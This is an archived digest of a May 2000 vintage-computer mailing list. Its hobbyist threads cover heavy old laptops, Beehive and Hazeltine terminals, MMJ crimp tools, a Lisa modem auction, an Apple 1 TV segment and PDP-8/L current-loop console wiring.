-Rich -- ------------------------------ Rich Lafferty --------------------------- Sysadmin/Programmer, Instructional and Information Technology Services Concordia University, Montreal, QC (514) 848-7625 ------------------------- rich@alcor.concordia.ca ---------------------- From jim at calico.litterbox.com Fri May 19 15:43:12 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <029f01bfc1ce$71d6f5c0$0200a8c0@marvin> from "Mark Gregory" at May 19, 2000 02:11:40 PM Message-ID: <200005192043.OAA24179@calico.litterbox.com> > Try lugging a Mac Portable with a spare battery around for a day and you'll > see what I mean. Or an Amstrad ppc 640, all 14 pounds of it, including 8 C cell batteries. :) > > Regards, > Mark. > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From mikeford at socal.rr.com Fri May 19 16:01:09 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <029f01bfc1ce$71d6f5c0$0200a8c0@marvin> Message-ID: There is no great mystery, its just the lifecycle for each processor generation. The first product barely works, uses a LOT of juice, needs cooling, and well its the first board etc. design, so its going to be large, barely small enough to be acceptable in the market. Latter in the same generation low power versions become available, and initial board designs are redone using higher integration (more complex chips, but fewer of them). Finally models come out primarily designed for small size, even if the technology is a generation behind in absolute performance levels. Different strokes for different folks. From ard at p850ug1.demon.co.uk Fri May 19 16:09:19 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <200005192043.OAA24179@calico.litterbox.com> from "Jim Strickland" at May 19, 0 02:43:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 870 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/067e87ed/attachment-0001.ksh From ard at p850ug1.demon.co.uk Fri May 19 16:04:13 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <20000519193600.69493.qmail@hotmail.com> from "David Vohs" at May 19, 0 07:36:00 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2078 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/f62a2502/attachment-0001.ksh From cmcmanis at mcmanis.com Fri May 19 16:40:36 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: <200005192013.NAA21300@daemonweed.reanimators.org> References: Message-ID: <4.1.20000519143523.03d45dc0@mailhost.hq.freegate.com> >Hmm. This might have been before your time, but I might as well ask: >got any stories to tell about the Hazeltine 2000? Oh if we're going to get funky lets talk about the (in)famous "MicroBee", the original Beehive terminal. This two ton, white painted, monstrosity weighed in at about 40 lbs even though the terminal wasn't much larger than VT340. The display was a blurry blueish white on blackish green. The thing only had 20 lines and only 72 characters on those lines. Cursor control was nearly non-existent. I believe the "backspace" sequence was go to the front of the and then forward space until you got to the place to stop. It had "bold", and "blink" but these involved putting format characters into the screen memory that printed as space so you could have a half bold word, you always got a space in there! If you deleted the "format char" all characters passed that acquired the previous format. It was considered extreme kung-fu to get FINE (a TOPS-10 emacs clone) to work at all on the thing. (oh and it sent ^S, ^Q (couldn't prevent it) if you talked to it over 2400 baud) --Chuck From cmcmanis at mcmanis.com Fri May 19 16:50:04 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:51 2005 Subject: heads up MMJ crimper tool. Message-ID: <4.1.20000519144801.00cf8d10@mailhost.hq.freegate.com> The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC MMJ connectors. They get $40 + tax for it which is a lot less than Black Box wants for theirs! They do not have crimp on MMJ connectors :-( --Chuck From jim at calico.litterbox.com Fri May 19 16:50:53 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: from "Tony Duell" at May 19, 2000 10:09:19 PM Message-ID: <200005192150.PAA24419@calico.litterbox.com> > 10 C cells, isn't it? I seem to remember fitting 2 rows of 5 into the > machine. I rarely run it off the internal batteries -- there's a 12V > input socket on the back that seems to make a lot more sense... It's been a while since I looked at mine, might well be 10. :) You loose the internal clock if you don't keep batteries in the thing. > > I like to demonstrate that the PPC640 is _wider_ than a 19" rack panel > (like a PDP11 front panel). Not many laptops can claim that ;-) > > I assume you realise that the PPC640 is basically the same as an Amstrad > XT-clone with the motherboard cut in half and the 2 halves stacked to fit > into the case. And an LCD controller added to the graphics circuitry. Oh, > and a PSU to run off batteries. But the main chips are the same as in > several Amstrad desktop machines... No, I had no idea. :) I wonder if you could stuff a mini-pci motherboard in there? or maybe the guts from an iOpener? Just a thought. :) > > -tony > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From foo at siconic.com Fri May 19 15:53:04 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: <4.1.20000519143523.03d45dc0@mailhost.hq.freegate.com> Message-ID: On Fri, 19 May 2000, Chuck McManis wrote: > >Hmm. This might have been before your time, but I might as well ask: > >got any stories to tell about the Hazeltine 2000? > > Oh if we're going to get funky lets talk about the (in)famous "MicroBee", > the original Beehive terminal. This two ton, white painted, monstrosity And if anyone would actually like to SEE one, I've got one in my collection. I'm one of the rare weirdo's whom actually LIKES to collect terminals. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From fauradon at mn.mediaone.net Fri May 19 16:55:14 2000 From: fauradon at mn.mediaone.net (FBA) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. Message-ID: <003601bfc1dc$f3c9ae70$3c37d986@fauradon.beckman.com> Sorry that's 10 C cell batteries. Francois >Or an Amstrad ppc 640, all 14 pounds of it, including 8 C cell batteries. :) > > >> >> Regards, >> Mark. >> > > >-- >Jim Strickland >----------------------------------------------------------------------- From wpfulmor at dimensional.com Fri May 19 16:58:04 2000 From: wpfulmor at dimensional.com (William Fulmor) Date: Sun Feb 27 18:52:51 2005 Subject: heads up MMJ crimper tool. In-Reply-To: <4.1.20000519144801.00cf8d10@mailhost.hq.freegate.com> Message-ID: Well, I know where there's at least one full box of MMJ's but no crimp tool. Do you have an email contact or URL for us outlanders? Bill On Fri, 19 May 2000, Chuck McManis wrote: > The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has > a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC > MMJ connectors. They get $40 + tax for it which is a lot less than Black > Box wants for theirs! They do not have crimp on MMJ connectors :-( > > --Chuck > From rigdonj at intellistar.net Fri May 19 18:00:02 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:51 2005 Subject: FA: Lisa MODEM Message-ID: <3.0.1.16.20000519180002.3c9f106c@mailhost.intellistar.net> I just listed a Lisa MODEM for auction. It's in perfect condition and in the original box. For pictures and more info see "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=337089491". I also have a Lisa and an extra keyboard up for auction. Joe From foo at siconic.com Fri May 19 16:24:56 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:51 2005 Subject: FA: Lisa MODEM In-Reply-To: <3.0.1.16.20000519180002.3c9f106c@mailhost.intellistar.net> Message-ID: On Fri, 19 May 2000, Joe wrote: > I just listed a Lisa MODEM for auction. It's in perfect condition and in > the original box. For pictures and more info see > "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=337089491". I also > have a Lisa and an extra keyboard up for auction. Joe, To be fair, this is not actually a Lisa specific modem but rather Apple's standard 300bps modem that sold mostly with their ][ products. This one just seems to have come with a Lisa specific packing list. I would just hate for the buyer to spend a bunch of money thinking this was some rare Lisa modem and then be very disappointed. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Fri May 19 17:22:48 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <200005192150.PAA24419@calico.litterbox.com> from "Jim Strickland" at May 19, 0 03:50:53 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2652 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000519/b43558c2/attachment-0001.ksh From jim at calico.litterbox.com Fri May 19 17:46:09 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:52:51 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: from "Tony Duell" at May 19, 2000 11:22:48 PM Message-ID: <200005192246.QAA24625@calico.litterbox.com> > > in there? or maybe the guts from an iOpener? Just a thought. :) > > Yuck! I really don't like this idea of 'upgrading' a classic computer. A > PPC640 is defined by the boards that should be in it. Not by the case :-) I was thinking that since according to the amstrad support boards these things are common as dirt and that dead ones can be had for very little it might be a good custom candidate. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From donm at cts.com Fri May 19 17:55:20 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:51 2005 Subject: rescued a beehive! In-Reply-To: Message-ID: On Fri, 19 May 2000, Vintage Computer GAWD! wrote: > On Fri, 19 May 2000, Chuck McManis wrote: > > > >Hmm. This might have been before your time, but I might as well ask: > > >got any stories to tell about the Hazeltine 2000? > > > > Oh if we're going to get funky lets talk about the (in)famous "MicroBee", > > the original Beehive terminal. This two ton, white painted, monstrosity > > And if anyone would actually like to SEE one, I've got one in my > collection. > > I'm one of the rare weirdo's whom actually LIKES to collect terminals. Need/want an Epic 14E terminal? - don > Sellam International Man of Intrigue and Danger > ------------------------------------------------------------------------------- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > > From allisonp at world.std.com Fri May 19 17:12:31 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! Message-ID: <000001bfc1df$c1c5d9a0$7164c0d0@ajp166> >Hmm. This might have been before your time, but I might as well ask: >got any stories to tell about the Hazeltine 2000? I was but I've used them. They were the favorite terminals on the BOCES LIRCS KA10 system. To us TTY bangers that was fast at 1200! Allison From healyzh at aracnet.com Fri May 19 18:20:45 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:52:52 2005 Subject: heads up MMJ crimper tool. In-Reply-To: from "William Fulmor" at May 19, 2000 03:58:04 PM Message-ID: <200005192320.QAA02347@shell1.aracnet.com> The interesting thing about Fry's is that they mostly sell high-tech stuff, however, they seem to be about as low-tech in their business operation as you can get. You'll not find a Fry's web page, but you will find a lot of Anti-Fry's web pages if you look. They're an interesting store, and I've gotten a lot of stuff from their Wilsonville, Oregon store. They don't seem to have as good of prices as they used to, and since it's a long drive to get there I haven't gone lately. OTOH, at least in this area their selection of parts and tools can't be beat. Watch what you buy though, a lot of it is refurbished, or returned. Zane > > > Well, I know where there's at least one full box of MMJ's but no crimp > tool. Do you have an email contact or URL for us outlanders? > > Bill > > On Fri, 19 May 2000, Chuck McManis wrote: > > > The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has > > a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC > > MMJ connectors. They get $40 + tax for it which is a lot less than Black > > Box wants for theirs! They do not have crimp on MMJ connectors :-( > > > > --Chuck > > > From fmc at reanimators.org Fri May 19 18:07:04 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! In-Reply-To: Chuck McManis's message of "Fri, 19 May 2000 14:40:36 -0700" References: <4.1.20000519143523.03d45dc0@mailhost.hq.freegate.com> Message-ID: <200005192307.QAA26248@daemonweed.reanimators.org> Chuck McManis wrote: > Oh if we're going to get funky lets talk about the (in)famous "MicroBee", > the original Beehive terminal. This two ton, white painted, monstrosity Yeah, but did it clear screen memory on power-up? The Hazeltine 2000 didn't. First you powered it up, then you waited for it to warm up, then you might push the clear-screen key to make it wipe all that junk off the screen before you got started. > weighed in at about 40 lbs even though the terminal wasn't much larger than > VT340. The display was a blurry blueish white on blackish green. The thing > only had 20 lines and only 72 characters on those lines. Cursor control was 72 characters...OK, I understand that, Teletypes did 72 characters per line. 80 characters/line was just like an IBM card (modulo the System/3 cards, anyway). But 74? The only thing I can think is that it's like 72, but BIGGER! > It was considered extreme kung-fu to get FINE (a TOPS-10 emacs clone) to > work at all on the thing. (oh and it sent ^S, ^Q (couldn't prevent it) if > you talked to it over 2400 baud) In that day and age it seemed to be considered formerly-extreme kung-fu (i.e. "it's been done" and was by then down to where it could usually be made to work, even with modems and TPC in the way) to have an ASCII terminal talking to the Univac 1108. (Actually this was done with some sort of front-end that had been in part developed at the University of Maryland, hence had the name SMUCS but doggone if I can remember what that stood for.) So it didn't try to be more than a glass Teletype, and nobody thought to use it as anything more than one -- mostly this arrangment got used to edit files using @ED (an interactive editor, but still Teletype-oriented) and submit batch jobs. -Frank McConnell From liste at artware.qc.ca Fri May 19 18:35:16 2000 From: liste at artware.qc.ca (liste@artware.qc.ca) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! In-Reply-To: Message-ID: On 19-May-2000 Vintage Computer GAWD! wrote: > And if anyone would actually like to SEE one, I've got one in my > collection. > > I'm one of the rare weirdo's whom actually LIKES to collect terminals. Oh, so I'm not the only one! :) Actually, I only have a small collection of terminals, manual typewriters and classic computers. However, to one-up you, I use my WYSE-85 daily. I'm something of an IRC junky, and rather then spend *all* my time in front of my main computer, I use the WYSE while lounging on the couch. It's not 10 years old though, so lets talk about VT-220s. Fun things to do with old terminals : - TTY DOOM! Doom with the frames rendered as ASCII art and piped out at 9600 baud. weeee! - lynx! Surfing the web over a dumb terminal is one of those silly things that the web "designers" hate you for. No banner ads! I microscopic fonts! I do it as often as possible. -Philip From mikeford at socal.rr.com Fri May 19 16:04:57 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:52 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <200005192043.OAA24179@calico.litterbox.com> References: <029f01bfc1ce$71d6f5c0$0200a8c0@marvin> from "Mark Gregory" at May 19, 2000 02:11:40 PM Message-ID: >> Try lugging a Mac Portable with a spare battery around for a day and you'll >> see what I mean. > >Or an Amstrad ppc 640, all 14 pounds of it, including 8 C cell batteries. :) How about an IBM 5140 (have one) with a kaypro as a backup (don't have one)? From cmcmanis at mcmanis.com Fri May 19 21:47:15 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:52 2005 Subject: heads up MMJ crimper tool. In-Reply-To: References: <4.1.20000519144801.00cf8d10@mailhost.hq.freegate.com> Message-ID: <4.3.1.2.20000519194200.032f0440@208.226.86.10> As the saying goes, "If you don't live here you probably don't want to go there." Basically Fry's sucks dead rodents through a hose. And most of the stuff on the shelf seems to have been returned at one point and never do they shave a penny off that price. I once heard someone brag that they didn't need to buy a digital camera, they just bought one at Fry's and returned it when they were done. :-( That and the fact that they drove the decent electronics stores out of business makes me hate them even more. However, they do get things now and again and if you know _exactly_ what you want, they can be useful to have near by. Other places stock the Ideal Industries tools, however the MMJ one is often not stocked. If you need one, I could probably be bribed with a couple of dozen uncrimped MMJs to be your transfer agent and get you one. Contact me off list if you want to go that route. --Chuck At 03:58 PM 5/19/00 -0600, you wrote: >Well, I know where there's at least one full box of MMJ's but no crimp >tool. Do you have an email contact or URL for us outlanders? > >Bill > >On Fri, 19 May 2000, Chuck McManis wrote: > > > The Fry's in Sunnyvale CA has restocked its supply of "crimp" tools and has > > a bunch of the Ideal Industries #30-497 tools, this does RJ-45 *and* DEC > > MMJ connectors. They get $40 + tax for it which is a lot less than Black > > Box wants for theirs! They do not have crimp on MMJ connectors :-( > > > > --Chuck > > From Innfogra at aol.com Fri May 19 22:22:41 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:52:52 2005 Subject: History's lsot and found - Apple Message-ID: <71.342efd8.26575f01@aol.com> History's Lost and Found on the History Channel has a segment on the first apple tonight. I haven't seen it yet. It is on now, 8-9PM PDT and repeated at Midnight to 1:00am. As of 8:21 the segment has not aired. Paxton From lemay at cs.umn.edu Fri May 19 22:31:47 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:52 2005 Subject: PDP 8/L console In-Reply-To: <200005190216.WAA27720@drs-esg.com> from David Gesswein at "May 18, 2000 10:16:47 pm" Message-ID: <200005200331.WAA14613@caesar.cs.umn.edu> > >From: Lawrence LeMay > >My PDP 8/L that I recently acquired, has a cable that i assume is for > >the console terminal. It has a 9 pin male connector with only pins > >1 through 6 present. Is this a standard serial connection? This was > >a papertape based system, so it may have been connected to a teletype > >ASR 33. Will I need to locate something that can do 110 baud to use > >as a console? > > > If it is the W076 on the other end of the cable it is a teletype. > It normally runs at 110 baud current loop. You can either create an > external RS-232 to current loop or make a new W076 to do RS-232. > If you want to cheat you can reduce the capacitor on the M452 to increase > the baud rate. The serial port is not double buffered so you may have > problems with overruns when sending tape images to the 8/L. I think > the BIN/RIM loader is fast enough but Focal is not. On the teletype the > data was held off by the reader run signal. The card is a W076 D. Unfortunately, I know almost nothing about current loop connections. I attempted to read the current loop documentation for the Terak's current loop interface connector, and only confused myself some more... There are active and passive connections, and apparently these can be different between transmit and recieve pairs of wire? Is there a standard convention? I need to figure out which connections on the W076 are for what 'signal', so i can trace the wires to the DB-9 connector, and then make some adaptor cables. Does anyone have that information on the W076? My books dont list the W076. And which pairs on the W076 are active/passive, and am i correct in assuming that active pairs on one device connect to passive on the other end, ie, active supplies the current for the loop? I would want to connect a Teletype model 33 (assuming the one i'm supposed to be getting one of these days actually works...). Also, I would like to be able to connect an IBM to the 8/L, and hopefully use it to download paper tape images (probably using a rs232/current-loop interface). Has anyone been using an IBM like this in place of a ASR terminal? Any advice? -Lawrence LeMay From SUPRDAVE at aol.com Fri May 19 22:32:28 2000 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:52:52 2005 Subject: OT Rant: Smaller/thinner laptops. Message-ID: <69.53544d2.2657614c@aol.com> In a message dated 5/19/00 9:51:52 PM Eastern Daylight Time, mikeford@socal.rr.com writes: > >> Try lugging a Mac Portable with a spare battery around for a day and you' > ll > >> see what I mean. > > > >Or an Amstrad ppc 640, all 14 pounds of it, including 8 C cell batteries. :) > > > How about an IBM 5140 (have one) with a kaypro as a backup (don't have one)? or better yet, a PS/2 P70 or P75. maybe even a portable PC DB Young ICQ: 29427634 hurry, hurry, step right up! see the computers you used as a kid! http://members.aol.com/suprdave/classiccmp/museum.htm From Innfogra at aol.com Fri May 19 22:48:24 2000 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:52:52 2005 Subject: History's lost and found - Apple Message-ID: <7b.4510222.26576508@aol.com> In a message dated 5/19/2000 8:29:03 PM Pacific Daylight Time, Innfogra@aol.com writes: > History's Lost and Found on the History Channel has a segment on the first > apple tonight. I haven't seen it yet. It is on now, 8-9PM PDT and repeated > at > Midnight to 1:00am. As of 8:21 the segment has not aired. It aired about 8:25 and ended at 8:35. A loose history about the LOOP Apple 1 with interviews with Woz and the LOOP center. Woz donated an Apple 1 to the center. A mishmash of pictures with quite a few of mainframes. It will be repeated tonight on the History Channel about 12:25 am, PDT for those of you that have cable TV. I enjoyed it but it was light. Nice pictures of an Apple 1 though. Note that the keyboard cable is partially unplugged, I don't think they fired it up. Paxton From foo at siconic.com Fri May 19 22:17:11 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:52 2005 Subject: History's lost and found - Apple In-Reply-To: <7b.4510222.26576508@aol.com> Message-ID: On Fri, 19 May 2000 Innfogra@aol.com wrote: > It aired about 8:25 and ended at 8:35. A loose history about the LOOP Apple 1 > with interviews with Woz and the LOOP center. Woz donated an Apple 1 to the > center. A mishmash of pictures with quite a few of mainframes. To be more specific, the Apple 1 that the LO*OP Center has is THE first Apple 1 built according to Woz. It was used for teaching kids computers at the LO*OP Center (based in Palo Alto) until Woz pulled the first Apple ][ off the assembly line (not THE first Apple ][ but it was the first given to someone outside of Apple; it was serial #10) and gave it to the LO*OP Center as well. BTW, I had the honor of holding Apple 1 #1 in my very own hands :) Also, Apple 1 #1 was exhibited and it's story was told at VCF 3.0. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From marvin at rain.org Sat May 20 00:00:00 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:52 2005 Subject: heads up MMJ crimper tool. References: <4.1.20000519144801.00cf8d10@mailhost.hq.freegate.com> <4.3.1.2.20000519194200.032f0440@208.226.86.10> Message-ID: <39261BD0.1F43279B@rain.org> Chuck McManis wrote: > > As the saying goes, "If you don't live here you probably don't want to go > there." Basically Fry's sucks dead rodents through a hose. And most of the > stuff on the shelf seems to have been returned at one point and never do > they shave a penny off that price. I once heard someone brag that they > didn't need to buy a digital camera, they just bought one at Fry's and > returned it when they were done. :-( That and the fact that they drove the There was an article in IIRC Forbes Magazine describing Fry's. The nutshell description was they didn't hire knowledgeable salespeople because their customers probably knew more than the sales people, and they have the H&H factor in place (Hoops & Hurdles) when customers want to return or exchange something. I gather the idea was to put enough pain into the return process that customers would think twice about returning merchandise. From lemay at cs.umn.edu Sat May 20 00:30:53 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:52 2005 Subject: History's lost and found - PDP 8/L In-Reply-To: <71.342efd8.26575f01@aol.com> from "Innfogra@aol.com" at "May 19, 2000 11:22:41 pm" Message-ID: <200005200530.AAA04571@caesar.cs.umn.edu> > History's Lost and Found on the History Channel has a segment on the first > apple tonight. I haven't seen it yet. It is on now, 8-9PM PDT and repeated at > Midnight to 1:00am. As of 8:21 the segment has not aired. > Paxton I videotaped it, at SLP speed unfortunately. I say unfortunately, since I noticed for a very brief instant while they were panning across Liza Loop's basement, a PDP 8 or 11. Going back and using single-frame advance, it looks to me like a PDP 8/L in a desktop case. The front panel switches and indicators match perfectly with a 8/L, and the color scheme is correct for some sort of 8. The tape was too grainy for any further details ;) Just thought I'd mention it, perhaps someone should volunteer to take that machine off their hands, its certainly not being used in the basement, with boxes of junk stacked on it, and sitting next to baskets of old clothes. There is also a 'mystery box' that looks like it should be DEC equipment as well, it is the same size as the 8/L, appears to have a solid black front with a ACE switch in the lower left, has the same milky white metal frame around the front panel, and there is a large piece of old paper covering most of the rest of the front... Expansion box for the 8/L perhaps? -Lawrence LeMay From foo at siconic.com Sat May 20 00:26:53 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:52 2005 Subject: History's lost and found - PDP 8/L In-Reply-To: <200005200530.AAA04571@caesar.cs.umn.edu> Message-ID: On Sat, 20 May 2000, Lawrence LeMay wrote: > > History's Lost and Found on the History Channel has a segment on the first > > apple tonight. I haven't seen it yet. It is on now, 8-9PM PDT and repeated at > > Midnight to 1:00am. As of 8:21 the segment has not aired. > > Paxton > > I videotaped it, at SLP speed unfortunately. I say unfortunately, since > I noticed for a very brief instant while they were panning across Liza > Loop's basement, a PDP 8 or 11. It's a PDP-8 that I believe was donated to them by the People's Computer Company (I think it may have come from Lee Felsenstein). > Just thought I'd mention it, perhaps someone should volunteer to > take that machine off their hands, its certainly not being used in the > basement, with boxes of junk stacked on it, and sitting next to baskets > of old clothes. There is also a 'mystery box' that looks like it Well, neither are all the machines we collectors have stacked in our basements, doing pretty much nothing. In other words, she's a collector (of sorts) too. > should be DEC equipment as well, it is the same size as the 8/L, appears > to have a solid black front with a ACE switch in the lower left, has > the same milky white metal frame around the front panel, and there > is a large piece of old paper covering most of the rest of the front... > Expansion box for the 8/L perhaps? It's been over a year since I was in there so I can't recall what this was. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From flo at rdel.co.uk Sat May 20 02:22:40 2000 From: flo at rdel.co.uk (Paul Williams) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! References: Message-ID: <39263D40.622C64F@rdel.co.uk> liste@artware.qc.ca wrote: > > On 19-May-2000 Vintage Computer GAWD! wrote: > > And if anyone would actually like to SEE one, I've got one in my > > collection. > > > > I'm one of the rare weirdo's whom actually LIKES to collect terminals. > > Oh, so I'm not the only one! :) Actually, I only have a small collection > of terminals, manual typewriters and classic computers. Hehehe. Terminal junkie support group, anyone? Sellam, Philip, I'd love to see pictures of any terminals in your collections. I'm mainly DEC VT-obsessed, but we've still got some older terminals from other manufacturers at work that I'm hoping will be obsolete soon. Because we have to support systems for a very long time, there are labs here with various DECwriters, an LSI ADM3a and a Hazeltine terminal (1500?). Interesting to hear that TTYs had 72 columns, because I had wondered for some time why the VT05 only had 20 rows of 72 columns. Nearly 13 years ago, I worked for the UKAEA and used Lynwood Alpha terminals, but I've been unable to find any mention of them since. I know that Lynwood used to make TEMPEST-compliant and ruggedised equipment for government agencies, so perhaps the Alpha was a reboxed version of someone else's terminal. At college we used Wyse and Cyfer terminals hooked up to a VAX 8600 running Ultrix. I've also been unable to track down any mention of Cyfer since. From xds_sigma7 at hotmail.com Sat May 20 04:23:51 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:52 2005 Subject: Wacky terminals Message-ID: <20000520092351.47101.qmail@hotmail.com> Well, FWIW, I do have the schematics + owner's manual + maintenance manual for a Hazeltine 2000... as for actual terminals, I've got a Prime terminal, an IBM 8775, and my long-time favorite, my trio of Perkin-Elmer 550B's. I had an ADM-11, but the stupid hunk of junk was dead when I got it, so it was pretty useless... I could use 3 more P-E 550B's, and a trio of Carousel 300's, but I doubt anyone has any... Wouldn't mind a CR-11 (I KNOW that its not a terminal, but since I'm on the topic of Interdata/P-E stuff I want...), so I could change the ROMs and use it on a 7/32... have the controller, but not the card reader... ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From rigdonj at intellistar.net Sat May 20 07:59:33 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:52 2005 Subject: rescued a beehive! In-Reply-To: <002301bfc196$332cea60$0400c0a8@winbook> References: <3.0.1.16.20000518185542.34bf9f56@mailhost.intellistar.net> <3.0.1.16.20000519084916.26677ab2@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000520075933.25bf721a@mailhost.intellistar.net> At 07:29 AM 5/19/00 -0600, Richard wrote: >I'm not sure the Beehive terminal is the best-supported one available, but >if you've any hope of getting your Altair running with "period" hardware, >i.e. with hardware available in the era in which the box was designed, I'd >say you're going to need one. I already have a ADM-3A that works fine, so I don't need this one. I find Lear-Siegler terminals all the time. Video boards for the S-100 were not common >until much later, with the possible exception of the SSM VB1, which does not >provide a standard 80x24 display. > >If this terminal is really unused, it might be worth going through and >swapping the electrolytic caps with some relatively new ones, but it >probably would work well otherwise. 20-year old electrolytics need to be >"re-formed" if they're to work reliably. That involves removing them from >the circuit and gradually cycling them up to peak voltage and current. If >you have to remove them, it makes more sense to replace them rather than to >go through the re-forming process. Some of them may die anyway, due to >tired dielectric. I have a large Variac that I plug old stuff like this into and I use it to gradually bring up to full voltage. I start at 10% for a few minnutes, then go to 20% for 1/2 or so and then step it up another 20% every 1/2 hour. I've had no trouble with shorted caps since I started doing this. > >A TVI 910 or a Lear-Siegler ADM-3A might be a more widely supported choice. >I used either a TVI or a Hazeltine Esprit emulating a Hazeltine 1500 most of >the time. I didn't start using this S-100 stuff until 1977, however. I'd like to find a Hazeltine 1500 for one of the Altairs but the only ones that I've found so far were in pretty bad shape. Joe From rigdonj at intellistar.net Sat May 20 08:14:53 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:52:52 2005 Subject: OT Rant: Smaller/thinner laptops. In-Reply-To: <20000519193600.69493.qmail@hotmail.com> Message-ID: <3.0.1.16.20000520081453.25bf5ed4@mailhost.intellistar.net> My biggest gripe with the newer laptops is that the keybaords are too small. Give me my NEC MultiSpeed any day! If I want tiny, I'll use my HP 200 LX. Joe At 07:36 PM 5/19/00 GMT, you wrote: >I'd like to share a revelation I have had about modern laptops. > >I have noticed that nearly every new laptop generation on the market is >roughly about a third smaller than the previous generation. But does anybody >know why they make them this way? One might say that this is so because of >new manufacturing processes, new technologies, etc. > >But in my opinion, I think laptops are made as thin as they are so you can >be lost or stolen easier. If you lose a new laptop, you are probably out >$1500 or more! That's why I like older laptops like a Tandy Model 100, >Macintosh Portable, etc. because of these reasons: > >1. Large size >2. *Proper* keyboards (laptop makers, please thake note!) >3. Phenominal battery lives (see above comment) >4. If they are lost (nobody would really want to steal an obsolete laptop) >you are out maybe $50-150 or so. > >So the newest technology is better, I beg to differ! > >____________________________________________________________ >David Vohs, Digital Archaeologist & Computer Historian. >Home page: http://www.geocities.com/netsurfer_x1/ > >Computer Collection: > 